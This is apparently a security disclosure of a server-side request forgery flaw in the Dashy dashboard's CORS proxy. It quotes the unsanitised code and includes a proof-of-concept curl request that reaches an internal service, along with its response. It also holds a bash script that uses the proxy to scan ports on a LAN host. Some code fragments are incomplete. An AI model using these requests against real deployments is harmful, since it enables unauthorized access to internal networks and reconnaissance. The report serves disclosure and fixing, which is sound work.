Security vulnerability SSRF (server side request forgery) in DASHY services/cors-proxy.js

Github Repository: Dashy
Latest commit related: 661b1aab07ef2fac831e4e76f7c35cb95c6e6671

vulnerable code:

  // Get desired URL, from Target-URL header
  const targetURL = req.header('Target-URL');
  if (!targetURL) {
    res.status(500).send({ error: 'There is no Target-Endpoint header in the request' });
  // Apply any custom headers, if needed
  const headers = req.header('CustomHeaders') ? JSON.parse(req.header('CustomHeaders')) : {};

  // Prepare the request
  const requestConfig = {
    method: req.method,
    url: targetURL,
    json: req.body,


The Target-URL variable is handle by the user through http request and is not sanitized. The User is able to pass a local url to this variable.
This could result in an unauthorized access to LAN webservices.

SSRF Description:

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials. (

Estimated CVSS score:

CVSS Temporal Score: 6.9

Proof of Concept

In this case, we are attacking a machine wich is hosting multiple containers, let's say we already know the intern IP of the machine.

Victime machines containers:

sudo docker ps
CONTAINER ID   IMAGE           COMMAND                  CREATED          STATUS                PORTS                                                                      NAMES 
a323e8b93d46   nginx:latest    "/docker-entrypoint.…"   15 minutes ago   Up 15 minutes>80/tcp, :::80->80/tcp,>443/tcp, :::443->443/tcp   webserver
6c989d8149e0   lissy93/dashy   "/sbin/tini -- yarn …"   3 days ago       Up 3 days (healthy)>80/tcp, :::4000->80/tcp                                      Dashy

In another scenario Dashy app could be hosted directly on the machine and we could use directly as target..

Let's say we want to reach port 80 web app.

curl: (7) Couldn't connect to server

This is normal, is a private IP, we cannot reach it.

We can reach this IP thanks to the SSRF though.

curl 'https://VICTIM-WEBSITE/cors-proxy' -i \
  -H 'Accept: application/json, text/plain, */*' \
  -H 'Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7' \
  -H 'Connection: keep-alive' \
  -H 'CustomHeaders: null' \
  -H 'If-None-Match: W/"73f-WLBI53E3nii2rA0HfX/v5/AtVCc"' \
  -H 'Referer: https://VICTIM-WEBSITE/' \
  -H 'Sec-Fetch-Dest: empty' \
  -H 'Sec-Fetch-Mode: cors' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'Target-URL:' \
  -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36' \
  -H 'sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "macOS"' \
  HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 13 Sep 2022 10:58:02 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, PUT, PATCH, POST, DELETE
ETag: W/"26-LcRXoq3UlNVIYm4UcHVbSvO70D4"
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Encoding: gzip


Super Secret website


Screen shot:

Others scenarios

An attacker could use this vulnerability to enumerate open ports on a machine only accessible with a LAN access.


#! /usr/bin/env bash

PORTS_RANGE=$(seq 1 1024)

for port in $PORTS_RANGE
    curl "$HOST/cors-proxy"  \
      -H 'Accept: application/json, text/plain, */*' \
      -H 'Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7' \
      -H 'Connection: keep-alive' \
      -H 'CustomHeaders: null' \
      -H 'If-None-Match: W/"73f-WLBI53E3nii2rA0HfX/v5/AtVCc"' \
      -H "Referer: $HOST/" \
      -H 'Sec-Fetch-Dest: empty' \
      -H 'Sec-Fetch-Mode: cors' \
      -H 'Sec-Fetch-Site: same-origin' \
      -H "Target-URL: http://$LAN_TARGET:$port"  \
      -H 'User-Agent: curl' \
      -H 'sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"' \
      -H 'sec-ch-ua-mobile: ?0' \
      -H 'sec-ch-ua-platform: "macOS"' \
      --compressed 2> /dev/null | grep -v 'ECONNREFUSED' | sed "s/.*/Open port: $port on $LAN_TARGET/" | sort -u

Open port: 22 on
Open port: 80 on

An attacker could also try to brute force other internals IPs trying to reach private web services.


IP sanitization is needed for the Target-URL parameter.

Quick Fix

editing "dashy/services/cors-proxy.js" and remove the line that sends the response:

 // Make the request, and respond with result \
  axios.request(requestConfig) \
    .then((response) => { \
      //res.status(200).send(; commenting the reponses to avoid SSRF \
    }).catch((error) => { \
      res.status(500).send({ error });\
Obviously this means you cannot use some features anymore like CVE feed.